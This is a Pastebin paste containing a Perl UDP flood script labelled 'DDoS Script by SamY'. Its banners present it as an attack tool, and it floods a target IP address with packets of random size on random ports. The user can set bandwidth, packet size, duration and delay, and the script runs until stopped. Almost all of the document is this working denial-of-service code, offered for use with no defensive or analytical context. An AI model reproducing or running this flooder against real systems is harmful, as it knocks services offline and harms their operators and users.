Advertisement
Guest User

Untitled

a guest
Jul 21st, 2019
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.21 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #####################################################
  3. # DDoS Script by SamY , cqHack number 1 :D
  4. #
  5. # ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄         ▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄    ▄
  6. #▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌  ▐░▌
  7. #▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░▌       ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌
  8. #▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌▐░▌  
  9. #▐░▌          ▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░▌          ▐░▌░▌  
  10. #▐░▌          ▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌          ▐░░▌    
  11. #▐░▌          ▐░█▄▄▄▄▄▄▄█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌          ▐░▌░▌  
  12. #▐░▌          ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌▐░▌  
  13. #▐░█▄▄▄▄▄▄▄▄▄  ▀▀▀▀▀▀█░█▀▀ ▐░▌       ▐░▌▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌
  14. #▐░░░░░░░░░░░▌        ▐░▌  ▐░▌       ▐░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌▐░▌  ▐░▌
  15. # ▀▀▀▀▀▀▀▀▀▀▀          ▀    ▀         ▀  ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀    ▀
  16. #                                                                        
  17. #
  18. ######################################################
  19.  
  20. use Socket;
  21. use strict;
  22. use Getopt::Long;
  23. use Time::HiRes qw( usleep gettimeofday ) ;
  24.  
  25. our $port = 0;
  26. our $size = 0;
  27. our $time = 0;
  28. our $bw   = 0;
  29. our $help = 0;
  30. our $delay= 0;
  31.  
  32. GetOptions(
  33.     "port=i" => \$port,     # UDP port to use, numeric, 0=random
  34.     "size=i" => \$size,     # packet size, number, 0=random
  35.     "bandwidth=i" => \$bw,      # bandwidth to consume
  36.     "time=i" => \$time,     # time to run
  37.     "delay=f"=> \$delay,        # inter-packet delay
  38.     "help|?" => \$help);        # help
  39.    
  40.  
  41. my ($ip) = @ARGV;
  42.  
  43. if ($help || !$ip) {
  44.   print <<'EOL';
  45.  The usage of command is perl cq.pl a.b.c.d
  46. EOL
  47.   exit(1);
  48. }
  49.  
  50. if ($bw && $delay) {
  51.   print "WARNING: The package size overrides the parameter --the command will be ignored\n";
  52.   $size = int($bw * $delay / 8);
  53. } elsif ($bw) {
  54.   $delay = (8 * $size) / $bw;
  55. }
  56.  
  57. $size = 700 if $bw && !$size;
  58.  
  59. ($bw = int($size / $delay * 8)) if ($delay && $size);
  60.  
  61. my ($iaddr,$endtime,$psize,$pport);
  62. $iaddr = inet_aton("$ip") or die "Cant resolve the hostname try again $ip\n";
  63. $endtime = time() + ($time ? $time : 1000000);
  64. socket(flood, PF_INET, SOCK_DGRAM, 17);
  65.  
  66. printf ">> Remade by Moba  \n";
  67. printf ">>  _______  _______  _______          
  68. (  ____ \(  ___  )(       )|\    /|
  69. | (    \/| (   ) || () () |( \  / )
  70. | (_____ | (___) || || || | \ (_) /
  71. (_____  )|  ___  || |(_)| |  \  /  
  72.      ) || (   ) || |   | |   ) (  
  73. /\____) || )   ( || )   ( |   | |  
  74. \_______)|/     \||/     \|   \_/  
  75.                                    \n";
  76. printf ">> hitting the ip    \n";
  77. printf ">> hitting the ports     \n";
  78. ($size ? "$size-byte" : "") . " " . ($time ? "" : "") . "\033[1;32m\033[0m\n\n";
  79. print "Interpacket delay $delay msec\n" if $delay;
  80. print "total IP bandwidth $bw kbps\n" if $bw;
  81. printf ">> Press CTRL+C to stop the attack  \n" unless $time;
  82.  
  83. die "Invalid package size: $size\n" if $size && ($size < 64 || $size > 1500);
  84. $size -= 28 if $size;
  85. for (;time() <= $endtime;) {
  86.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  87.   $pport = $port ? $port : int(rand(65500))+1;
  88.  
  89.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  90.   usleep(1000 * $delay) if $delay;
  91. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement